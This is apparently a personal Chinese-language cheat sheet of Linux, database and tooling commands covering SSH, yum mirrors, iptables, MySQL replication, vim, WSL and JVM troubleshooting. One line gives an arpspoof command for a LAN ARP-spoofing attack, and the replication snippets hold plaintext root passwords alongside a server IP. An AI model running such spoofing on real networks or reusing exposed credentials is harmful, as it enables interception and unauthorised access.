	其中,TYPE=disk表示硬盘。可以看出,硬盘分为sda和sdb,一共160G。












	2. df:查看硬盘使用情况

	复制代码
	[xxx@localhost ~]$ df -h
	Filesystem                    Size  Used Avail Use% Mounted on
	/dev/mapper/VolGroup-lv_root   50G  1.7G   46G   4% /
	tmpfs                         3.9G     0  3.9G   0% /dev/shm
	/dev/sda1                     485M   39M  421M   9% /boot
	/dev/mapper/VolGroup-lv_home  5.5G  165M  5.1G   4% /home
	/dev/sdb1                      99G  188M   94G   1% /data

CentOS7修改SSH端口

- 一、修改ssh配置文件sshd_config

	[root@bogon ~]# vi /etc/ssh/sshd_config

- 二、防火墙放行

	[root@bogon ~]# firewall-cmd --zone=public --add-port=22345/tcp --permanent

	[root@bogon ~]# firewall-cmd --reload

- 三、向SELinux中添加修改的SSH端口

	先安装SELinux的管理工具 semanage (如果已经安装了就直接到下一步) :

	[root@bogon ~]# yum provides semanage

	安装运行semanage所需依赖工具包 policycoreutils-python:

	[root@bogon ~]# yum -y install policycoreutils-python

	查询当前 ssh 服务端口:

	[root@bogon ~]# semanage port -l | grep ssh

	向 SELinux 中添加 ssh 端口:

	[root@bogon ~]# semanage port -a -t ssh_port_t -p tcp 22345

	重启 ssh 服务:

	[root@bogon ~]# systemctl restart sshd.service

	测试成功后,把22端口注释掉即可

修改CentOS默认yum源为mirrors.163.com

- 1、首先备份系统自带yum源配置文件/etc/yum.repos.d/CentOS-Base.repo

  mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup

- 2、进入yum源配置文件所在的文件夹

  cd /etc/yum.repos.d/

- 3、下载163的yum源配置文件到上面那个文件夹内

  CentOS7

    wget http://mirrors.163.com/.help/CentOS7-Base-163.repo

  CentOS6

    wget http://mirrors.163.com/.help/CentOS6-Base-163.repo

  CentOS5

    wget http://mirrors.163.com/.help/CentOS5-Base-163.repo

  CentOS7

    wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo

  CentOS6

    wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-6.repo

  CentOS5

    wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-5.repo

- 4、运行yum makecache生成缓存

  yum makecache

- 5、这时候再更新系统就会看到以下mirrors.163.com信息

  yum -y update

安装ifconfig

- 搜索包
	yum search ifconfig
- 安装
	yum install net-tools.x86_64

替换shell中\r

sed -i 's/\r//' fastdfs-install.sh

安装iperf3

sudo apt install iperf3

开启服务端
假设在一台IP地址为192.168.0.101的设备上启用服务端。
执行iperf3 -s -p 5201,开启一个端口为5201的服务端。
连接服务端
连接服务端。 iperf3 -c 192.168.0.101 -p 5201

局域网arp攻击

arpspoof -i eth0 -t 192.168.0.10 192.168.0.1

服务器基础环境安装

centos初始化安装软件

yum install -y vim wget java-1.8.0-openjdk-* zip unzip net-tools ntp gcc gcc-c++ make automake autoconf libtool pcre pcre-devel zlib zlib-devel openssl-devel wget libaio 

安全狗

地址
	http://passport.safedog.cn/
linux下载链接
	http://download.safedog.cn/safedog_linux64.tar.gz
依赖项
	yum install mlocate lsof pciutils psmisc.x86_64

修改文件用户和组

chown -R mysql.mysql mysql3307/

数据库主从复制命令

change master to master_host='localhost', master_user='root', master_password='dlkSJDUdE&*@;x86', master_port=3307, master_log_file='mysql-bin.000001', master_log_pos=109076978, master_connect_retry=30,master_heartbeat_period=10;
change master to master_host='156.226.26.5', master_user='root', master_password='dlkSJDUdE&*@;x86', master_port=3307, master_log_file='mysql-bin.000005', master_log_pos=246950145, master_connect_retry=30,master_heartbeat_period=10;


stop slave;
start slave;

show slave status ;
show master status ;

vim查找

在normal模式下按下/即可进入查找模式,输入要查找的字符串并按下回车。 Vim会跳转到第一个匹配。按下n查找下一个,按下N查找上一个。

Vim查找支持正则表达式,例如/vim$匹配行尾的"vim"。 需要查找特殊字符需要转义,例如/vim\$匹配"vim$"。

注意查找回车应当用\n,而替换为回车应当用\r(相当于)。

大小写敏感查找
在查找模式中加入\c表示大小写不敏感查找,\C表示大小写敏感查找。例如:

/foo\c
将会查找所有的"foo","FOO","Foo"等字符串。

大小写敏感配置
Vim 默认采用大小写敏感的查找,为了方便我们常常将其配置为大小写不敏感:

" 设置默认进行大小写不敏感查找
set ignorecase
" 如果有一个大写字母,则切换到大小写敏感查找
set smartcase 
将上述设置粘贴到你的~/.vimrc,重新打开Vim即可生效。

查找当前单词
在normal模式下按下*即可查找光标所在单词(word), 要求每次出现的前后为空白字符或标点符号。例如当前为foo, 可以匹配foo bar中的foo,但不可匹配foobar中的foo。 这在查找函数名、变量名时非常有用。

按下g*即可查找光标所在单词的字符序列,每次出现前后字符无要求。 即foo bar和foobar中的foo均可被匹配到。

查找与替换
:s(substitute)命令用来查找和替换字符串。语法如下:

:{作用范围}s/{目标}/{替换}/{替换标志}
例如:%s/foo/bar/g会在全局范围(%)查找foo并替换为bar,所有出现都会被替换(g)。

作用范围
作用范围分为当前行、全文、选区等等。

当前行:

:s/foo/bar/g
全文:

:%s/foo/bar/g
选区,在Visual模式下选择区域后输入:,Vim即可自动补全为 :'<,'>。

:'<,'>s/foo/bar/g
2-11行:

:5,12s/foo/bar/g
当前行.与接下来两行+2:

:.,+2s/foo/bar/g
替换标志
上文中命令结尾的g即是替换标志之一,表示全局global替换(即替换目标的所有出现)。 还有很多其他有用的替换标志:

空替换标志表示只替换从光标位置开始,目标的第一次出现:

:%s/foo/bar
i表示大小写不敏感查找,I表示大小写敏感:

:%s/foo/bar/i
# 等效于模式中的\c(不敏感)或\C(敏感)
:%s/foo\c/bar
c表示需要确认,例如全局查找"foo"替换为"bar"并且需要确认:

:%s/foo/bar/gc
回车后Vim会将光标移动到每一次"foo"出现的位置,并提示

replace with bar (y/n/a/q/l/^E/^Y)?

fping

fping -g 192.168.0.1/24 

JAVA_HOME

/etc/profile
	export JAVA_HOME=/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.262.b10-0.el7_8.x86_64
	export JRE_HOME=${JAVA_HOME}/jre
	export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
	export PATH=${JAVA_HOME}/bin:$PATH

kali开启蓝牙服务

sudo systemctl enable bluetooth

docker容器

- 拉取镜像
	docker pull 镜像名称
	docker pull tomcat
- 运行实例
	docker run 实例名称|id

grep显示指定行数

grep -C 5 foo file 显示file文件里匹配foo字串那行以及上下5行
grep -B 5 foo file 显示foo及前5行
grep -A 5 foo file 显示foo及后5行

cat ROOT/WEB-INF/classes/application.yml |grep url
cat /data/s106/nginx/conf.d/s6.dd2007.com.conf |grep lygccmg -C 5
cat /data/s104/nginx/conf.d/s4.dd2007.com.conf |grep xylfscmg -C 5

CentOS设置时区

timedatectl set-timezone Asia/Shanghai 亚洲上海时区

查看内核信息

cat /etc/redhat-release
cat /proc/version
uname -a

service服务文件内容

[Unit]
Description=A high performance web server and a reverse proxy server
After=network.target network-online.target nss-lookup.target

[Service]
Type=forking
PIDFile=//software/nginx/logs/nginx.pid
PrivateDevices=yes
SyslogLevel=err

ExecStart=//software/nginx/sbin/nginx -g 'pid //software/nginx/logs/nginx.pid; error_log stderr;'
ExecReload=//software/nginx/sbin/nginx -s reload
KillMode=mixed

[Install]
WantedBy=multi-user.target

sed替换

sed -i 's/要被取代的字串/新的字串/g' 文件名

Linux netbios

samba
smbd

iptables配置模板

	# Generated by iptables-save v1.4.21 on Fri Feb  1 11:24:24 2019
	*filter
	:INPUT DROP [0:0] ## DROP代表丢弃数据包
	:FORWARD ACCEPT [0:0]
	:OUTPUT ACCEPT [156509943:138520419866]
	-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
	-A INPUT -p icmp -j ACCEPT
	-A INPUT -i lo -j ACCEPT
	-A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT ## 开放使用的端口
	-A INPUT -j REJECT --reject-with icmp-host-prohibited
	-A FORWARD -j REJECT --reject-with icmp-host-prohibited
	COMMIT
	# Completed on Fri Feb  1 11:24:24 201

iptables持久化规则

- 将防火墙规则重定向至指定文件,以下两条命令皆可
	iptables-save > /etc/iptables
	iptables -S > /etc/iptables/iptables
	iptables-save -c /etc/iptables/iptables
- 重新载入预存规则文件中的规则
	/sbin/iptables-restore < /etc/iptables
	iptables-restore < /etc/iptables/iptables
	iptables-restore -c /etc/iptables/iptables

iptables持久化

- 安装
	apt-get install iptables-persistent
- 保存当前设置的iptables防火墙规则
	/etc/init.d/iptables-persistent save
	sudo netfilter-persistent save
- 重新载入防火墙规则
	/etc/init.d/iptables-persistent reload
	sudo netfilter-persistent reload
- 保存的规则文件路径如下
	/etc/iptables/rules.v4
	/etc/iptables/rules.v6

nacos启动

- 启动命令(standalone代表着单机模式运行,非集群模式):
	sh startup.sh -m standalone
- 如果您使用的是ubuntu系统,或者运行脚本报错提示<符号找不到>,可尝试如下运行:
	bash startup.sh -m standalone
- Windows 启动命令(standalone代表着单机模式运行,非集群模式):
	cmd startup.cmd -m standalone
	
- 默认账号密码
	nacos/nacos

Hyper-V

微软默认开启了hyper-v,即便是在启用或关闭Windows功能里不启用Hyper-V,也不能解决问题,需要解决的话就需要彻底关闭hyper-v功能。
win+x 弹出菜单运行 Windows PowerShell (Admin) 版本
关闭:bcdedit /set hypervisorlaunchtype off
开启: bcdedit / set hypervisorlaunchtype auto
重启生效

androidstudio gradle命令

- ./gradlew --stop 停止构建
-  ./gradlew clean

清除redis

redis-cli -p 6389 -n 13 keys "*xjhlmdfq*"|xargs redis-cli -p 6389 -n 13 del

nginx代理websocket

proxy_set_header X-Real-IP $remote_addr;
proxy_read_timeout 120s;
proxy_set_header Upgrade websocket;
proxy_set_header Connection Upgrade;

openstack云服务

java validation 注解

复制代码
JSR提供的校验注解:         
@Null   被注释的元素必须为 null    
@NotNull    被注释的元素必须不为 null    
@AssertTrue     被注释的元素必须为 true    
@AssertFalse    被注释的元素必须为 false    
@Min(value)     被注释的元素必须是一个数字,其值必须大于等于指定的最小值    
@Max(value)     被注释的元素必须是一个数字,其值必须小于等于指定的最大值    
@DecimalMin(value)  被注释的元素必须是一个数字,其值必须大于等于指定的最小值    
@DecimalMax(value)  被注释的元素必须是一个数字,其值必须小于等于指定的最大值    
@Size(max=, min=)   被注释的元素的大小必须在指定的范围内    
@Digits (integer, fraction)     被注释的元素必须是一个数字,其值必须在可接受的范围内    
@Past   被注释的元素必须是一个过去的日期    
@Future     被注释的元素必须是一个将来的日期    
@Pattern(regex=,flag=)  被注释的元素必须符合指定的正则表达式 

dmsetup 命令

dmsetup 命令是一个用来与 Device Mapper 沟通的命令行封装器(wrapper)。可使用 dmsetup 命令的 info、ls、status 和 deps 选项查看 LVM 设备的常规信息,如以下小节所述。
有关 dmsetup 命令的额外选项和功能,请参考 dmsetup(8) man page。
dmsetup info 命令
	dmsetup info device 命令提供有关 Device Mapper 设备概述。如果没有指定设备名称,则输出所有目前配置的 Device Mapper 设备信息。如果指定了设备,那么这个命令只会生成该设备信息。
	dmsetup info 命令提供以下分类信息:
	Name
	设备名称。LVM 设备以用小横线分隔的卷组名称和逻辑卷名称表示。在源名称中小横线会转换为两个小横线。在标准 LVM 操作过程中,不应使用这种格式的 LVM 设备名称直接指定 LVM 设备,而是应该使用 vg/lv 指定。
	State
	可能的设备状态是 SUSPENDED、ACTIVE 和 READ-ONLY。dmsetup suspend 命令将设备状态设定为 SUSPENDED。当挂起某个设备时,会停止对该设备的所有 I/O 操作。使用 dmsetup resume 命令可将设备状态恢复到 ACTIVE。
	Read Ahead
	系统对正在进行读取操作的任意打开文件的预读数据块数目。默认情况下,内核会自动选择一个合适的值。可使用 dmsetup 命令的 --readahead 选项更改这个值。
	Tables present
	这个类型的可能状态为 LIVE 和 INACTIVE。INACTIVE 状态表示已经载入了表格,且会在 dmsetup resume 命令将某个设备状态恢复为 ACTIVE 时进行切换,届时表格状态将为 LIVE。有关详情请参考 dmsetup man page。
	Open count
	打开参考计数表示打开该设备的次数。mount 命令会打开一个设备。
	Event number
	目前收到的事件数目。使用 dmsetup wait n 命令允许用户等待第 n 个事件,收到该事件前阻断该调用。
	Major, minor
	主设备号码和副设备号码
	Number of targets
	组成某个设备的片段数目。例如:一个跨三个磁盘的线性设备会有三个目标。线性设备由某个磁盘起始和结尾,而不是中间组成的线性设备有两个目标。
	UUID
	该设备的 UUID。
dmsetup ls 命令
	可以使用 dmsetup ls 命令列出映射的设备的设备名称列表。可以使用 dmsetup ls --target target_type 命令列出至少有一个指定类型目标的设备。有关 dmsetup ls 的其他选项,请参考 dmsetup ls man page。
dmsetup status 命令
	dmsetup status device 命令提供指定设备中每个目标的状态信息。如果没有指定设备名称,输出结果是所有目前配置的设备映射器设备信息。可以使用 dmsetup status --targettarget_type 命令列出那些至少有一个指定类型目标的设备。
dmsetup deps 命令
	dmsetup deps device 命令为指定设备的映射列表参考的设备提供(major,minor)对列表。如果没有指定设备名称,则输出所有目前配置的设备映射器设备信息。
dmsetup remove 设备名

磁盘挂载(超过2T)

1、选择分区硬盘
	首先类似fdisk一样,先选择要分区的硬盘,此处为/dev/hdd: ((parted)表示在parted中输入的命令,其他为自动打印的信息)

	[[email protected] ~]# parted /dev/hdd
	GNU Parted 1.8.1
	Using /dev/hdd
	Welcome to GNU Parted! Type 'help' to view a list of commands.
2、创建分区
	选择了/dev/hdd作为我们操作的磁盘,接下来需要创建一个分区表(在parted中可以使用help命令打印帮助信息):

	(parted) mklabel
	New disk label type? gpt    (我们要正确分区大于2TB的磁盘,应该使用gpt方式的分区表,输入gpt后回车)
3、完成分区操作
	创建好分区表以后,接下来就可以进行分区操作了,执行mkpart命令,分别输入分区名称,文件系统和分区 的起止位置

	(parted) mkpart
	Partition name? []? dp1
	File system type? [ext2]? ext3
	Start? 0           (可以用百分比表示,比如Start? 0% , End? 50%)
	End? 500GB
4、验证分区信息
	分好区后可以使用print命令打印分区信息,下面是一个print的样例

	(parted) print
	Model: VBOX HARDDISK (ide)
	Disk /dev/hdd: 2199GB
	Sector size (logical/physical): 512B/512B
	Partition Table: gpt
	Number Start End Size File system Name Flags
	1 17.4kB 500GB 500GB dp1
5、执行quit退出parted
6、mkfs.xfs /dev/mapper/mpatha 格式化磁盘
7、mount /dev/mapper/mpatha <要挂载目录>
8、df -h 查看是否挂载成功
9、vim /etc/fstab 添加开机自动挂载
	添加一行
	/dev/mapper/mpatha		<挂载的目录>	xfs		defaults	0	0
10、重启测试自动挂载
11、df -h 查看是否挂载成功

中科大镜像源地址

http://mirrors.ustc.edu.cn/

wsl操作

导出wsl
	wsl --export distro_name file_name.tar
导入wsl 
	wsl --import   
	wsl --import distro_name install_location file_name.tar
删除wsl
	wsl --unregister distro_name
查询wsl安装情况执行
	wsl --list
查看状态
	wsl --list --verbose
停止wsl
	wsl -t DISTRO-NAME

wsl迁移方法1

  • 关闭wsl
    wsl --terminate
  • 导出wsl
    wsl --export
    wsl–export Ubuntu-18.04 d:/Ubuntu-18.04.tar
  • 导入wsl
    wsl --import

wsl迁移方法2

- 查看安装的WSL子系统
	.\LxRunOffline.exe list
- 停止WSL服务
	ctrl + shift + esc 找到LxssManager服务。找到并停止该服务。在任务管理器,服务选项卡中查找。
- 迁移
	./LxRunOffline.exe move -n Ubuntu-18.04 -d E:/WSL/Ubuntu-18.04
- 查看结果
	./LxRunOffline.exe get-dir -n Ubuntu-18.04

windows路由跟踪

tracert 172.24.33.40

测试主机端口

telnet ip port

启动附件服务

	/usr/local/bin/fdhtd /etc/fdht/fdhtd.conf
	/etc/init.d/fdfs_trackerd start
	/etc/init.d/fdfs_storaged start
	/usr/local/nginx/sbin/nginx 

shell 表达式

  • 整数变量表达式
    -eq 等于
    -ne 不等于
    -gt 大于
    -ge 大于等于
    -lt 小于
    -le 小于等于
    文件表达式
    -e filename 如果 filename存在,则为真
    -d filename 如果 filename为目录,则为真
    -f filename 如果 filename为常规文件,则为真
    -L filename 如果 filename为符号链接,则为真
    -r filename 如果 filename可读,则为真
    -w filename 如果 filename可写,则为真
    -x filename 如果 filename可执行,则为真
    -s filename 如果文件长度不为0,则为真
    -h filename 如果文件是软链接,则为真

  • 字符串变量表达式
    If [ $a = $b ] 如果string1等于string2,则为真
    字符串允许使用赋值号做等号
    if [ $string1 != $string2 ] 如果string1不等于string2,则为真
    if [ -n $string ] 如果string 非空(非0),返回0(true)
    if [ -z $string ] 如果string 为空,则为真
    if [ $sting ] 如果string 非空,返回0 (和-n类似)

  • 逻辑非 ! 条件表达式的相反
    if [ ! 表达式 ]
    if [ ! -d n u m ] 如 果 不 存 在 目 录 num ] 如果不存在目录 num]num

  • 逻辑与 –a 条件表达式的并列
    if [ 表达式1 –a 表达式2 ]

  • 逻辑或 -o 条件表达式的或
    if [ 表达式1 –o 表达式2 ]

  • 命令的逻辑关系:
    在linux 中 命令执行状态:0 为真,其他为假
    逻辑与: &&
    第一个条件为假时,第二条件不用再判断,最终结果已经有;
    第一个条件为真时,第二条件必须得判断;
    逻辑或: ||
    逻辑非: !

shell参数

$0 这个程式的执行名字	
$n 这个程式的第n个参数值,n=1..9
$* 这个程式的所有参数,此选项参数可超过9个。
$# 这个程式的参数个数
$$ 这个程式的PID(脚本运行的当前进程ID号)
$! 执行上一个背景指令的PID(后台运行的最后一个进程的进程ID号)
$? 执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)
$- 显示shell使用的当前选项,与set命令功能相同
$@ 跟$*类似,但是可以当作数组用

linux shell wc命令

wc命令的功能为统计指定文件中的字节数、字数、行数, 并将统计结果显示输出。 
语法:wc [选项] 文件… 
说明:该命令统计给定文件中的字节数、字数、行数。如果没有给出文件名,则从标准输入读取。wc同时也给出所有指定文件的总统计数。字是由空格字符区分开的最大字符串。 
该命令各选项含义如下: 
- c 统计字节数。 
- l 统计行数。 
- w 统计字数。

ftp添加用户

mkdir /home/vsftpd/myuser
echo -e "myuser\nmypass" >> /etc/vsftpd/virtual_users.txt
/usr/bin/db_load -T -t hash -f /etc/vsftpd/virtual_users.txt /etc/vsftpd/virtual_users.db

shell统计当前文件夹下的文件个数、目录个数

1、 统计当前文件夹下文件的个数
  ls -l |grep "^-"|wc -l
2、 统计当前文件夹下目录的个数
  ls -l |grep "^d"|wc -l
3、统计当前文件夹下文件的个数,包括子文件夹里的 
  ls -lR|grep "^-"|wc -l
4、统计文件夹下目录的个数,包括子文件夹里的
  ls -lR|grep "^d"|wc -l
grep "^-" 
  这里将长列表输出信息过滤一部分,只保留一般文件,如果只保留目录就是 ^d
wc -l 
  统计输出信息的行数,因为已经过滤得只剩一般文件了,所以统计结果就是一般文件信息的行数,又由于一行信息对应一个文件,所以也就是文件的个数。判断目录下文件数与指定文件数量是否相等

关闭selinux

- 临时关闭
	 setenforce 0
- 永久关闭
	修改/etc/selinux/config文件。将SELINUX=enforcing改为SELINUX=disable,并重起系统

启动主从同步

	-- 从主库备份数据到从库,还原到从库。抓拍的记录不停在向主库写数据,为了保证还原后两个数据库是一致的,还原期间先把tomcat停掉,
	show master status; -- 在主库查询主库状态

	-- 从库执行 停止从库同步
	stop slave;

	-- 从库执行这个		主库ip						主库用户名					主库密码							主库查询状态中File字段			主库查询状态中Position字段
	change master to master_host='172.24.6.4', master_user='root', master_password='dd2007.COM', master_port=3406, master_log_file='mysql-bin.000016', master_log_pos=154, master_connect_retry=30,master_heartbeat_period=10;

	-- 从库执行 启动从库同步
	start slave;

	-- 从库执行 查看从库状态
	show slave status;

	-- Slave_IO_Running、Slave_SQL_Running 两个字段值为 Yes表示同步状态正常

树莓派更新内核

sudo apt-get install --reinstall raspberrypi-bootloader raspberrypi-kernel 

cpu高占用 GC频繁问题排查步骤

  • 查看cpu高占用的线程
    top -H -p
    [root@iZ8vbjekblluh36nlijx6gZ ~]# top -H -p 17928
    top - 17:31:03 up 519 days, 5:17, 3 users, load average: 8.13, 9.36, 6.
    Threads: 99 total, 4 running, 95 sleeping, 0 stopped, 0 zombie
    %Cpu(s): 96.6 us, 2.7 sy, 0.0 ni, 0.4 id, 0.2 wa, 0.0 hi, 0.1 si, 0
    KiB Mem : 8008808 total, 166308 free, 3865704 used, 3976796 buff/cach
    KiB Swap: 0 total, 0 free, 0 used. 3803212 avail Mem

      PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
    17933 root      20   0 6039396   2.5g  23264 R 97.7 32.1  42:19.99 java   
    17932 root      20   0 6039396   2.5g  23264 R 96.7 32.1  42:23.65 java   
    17930 root      20   0 6039396   2.5g  23264 R 96.0 32.1  42:23.00 java   
    17931 root      20   0 6039396   2.5g  23264 R 93.7 32.1  42:22.04 java   
    17934 root      20   0 6039396   2.5g  23264 S  0.3 32.1   1:47.79 java   
    13784 root      20   0 6039396   2.5g  23264 S  0.3 32.1   0:00.01 java   
    17928 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:00.00 java   
    17929 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:00.69 java   
    17935 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:00.08 java   
    17936 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:00.08 java   
    17937 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:00.00 java   
    17938 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:48.70 java   
    17939 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:49.18 java   
    17940 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:12.05 java   
    17941 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:00.00 java   
    17942 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:04.48 java   
    17943 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:00.00 java   
    18266 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:00.13 java   
    18287 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:00.73 java   
    18288 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:00.20 java   
    18524 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:00.06 java   
    18525 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:00.22 java   
    18526 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:00.22 java   
    18527 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:00.22 java   
    18528 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:00.22 java   
    18529 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:00.01 java   
    18547 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:00.21 java   
    18548 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:00.22 java   
    18549 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:00.21 java   
    18550 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:00.23 java   
    18551 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:00.78 java   
    18552 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:32.02 java   
    18585 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:03.13 java   
    18586 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:00.48 java   
    18619 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:00.21 java   
    18620 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:00.21 java   
    20483 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:00.00 java   
    22800 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:12.19 java   
    22801 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:46.82 java   
    22921 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:13.93 java   
     1786 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:09.89 java   
     8167 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:09.67 java   
     8411 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:09.31 java   
     8413 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:08.94 java   
     8969 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:10.22 java   
    17274 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:09.76 java   
    17277 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:09.03 java   
    17278 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:23.59 java   
    17283 root      20   0 6039396   2.5g  23264 S  0.0 32.1   0:09.27 java
    
  • 导出线程信息
    jstack > jstack_17928.txt
    高占用线程id 17933 转换16进制 460d在线程信息中查找
    发现gc高占用
    “main” #1 prio=5 os_prio=0 tid=0x00007f790000a000 nid=0x4609 runnable [0x00007f79098d8000]
    java.lang.Thread.State: RUNNABLE
    at java.net.PlainSocketImpl.socketAccept(Native Method)
    at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
    at java.net.ServerSocket.implAccept(ServerSocket.java:545)
    at java.net.ServerSocket.accept(ServerSocket.java:513)
    at org.apache.catalina.core.StandardServer.await(StandardServer.java:454)
    at org.apache.catalina.startup.Catalina.await(Catalina.java:800)
    at org.apache.catalina.startup.Catalina.start(Catalina.java:746)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:498)
    at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:284)
    at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:415)

    "VM Thread" os_prio=0 tid=0x00007f7900078800 nid=0x460e runnable 
    
    "GC task thread#0 (ParallelGC)" os_prio=0 tid=0x00007f790001f800 nid=0x460a runnable 
    
    "GC task thread#1 (ParallelGC)" os_prio=0 tid=0x00007f7900021000 nid=0x460b runnable 
    
    "GC task thread#2 (ParallelGC)" os_prio=0 tid=0x00007f7900023000 nid=0x460c runnable 
    
    "GC task thread#3 (ParallelGC)" os_prio=0 tid=0x00007f7900025000 nid=0x460d runnable 
    
    "VM Periodic Task Thread" os_prio=0 tid=0x00007f79000d6800 nid=0x4616 waiting on condition 
    
    JNI global references: 304
    
  • 查看gc详细信息
    jstat -gcutil 17928 1000 100
    [root@iZ8vbjekblluh36nlijx6gZ ~]# jstat -gcutil 17928 1000 100
    S0 S1 E O M CCS YGC YGCT FGC FGCT GCT
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1018 2323.634 2349.558
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1019 2325.411 2351.335
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1019 2325.411 2351.335
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1020 2327.092 2353.015
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1021 2328.787 2354.710
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1021 2328.787 2354.710
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1022 2330.571 2356.495
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1022 2330.571 2356.495
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1023 2332.271 2358.194
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1023 2332.271 2358.194
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1024 2333.984 2359.907
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1025 2335.630 2361.554
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1025 2335.630 2361.554
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1026 2337.301 2363.225
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1027 2338.958 2364.882
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1027 2338.958 2364.882
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1028 2340.618 2366.542
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1028 2340.618 2366.542
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1029 2342.270 2368.194
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1030 2343.955 2369.879
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1030 2343.955 2369.879
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1031 2345.635 2371.559
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1031 2345.635 2371.559
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1032 2347.336 2373.260
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1032 2347.336 2373.260
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1033 2349.085 2375.008
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1034 2350.810 2376.734
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1034 2350.810 2376.734
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1035 2352.471 2378.395
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1035 2352.471 2378.395
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1036 2354.119 2380.043
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1037 2355.784 2381.708
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1037 2355.784 2381.708
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1038 2357.498 2383.422
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1038 2357.498 2383.422
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1039 2359.208 2385.132
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1040 2360.944 2386.868
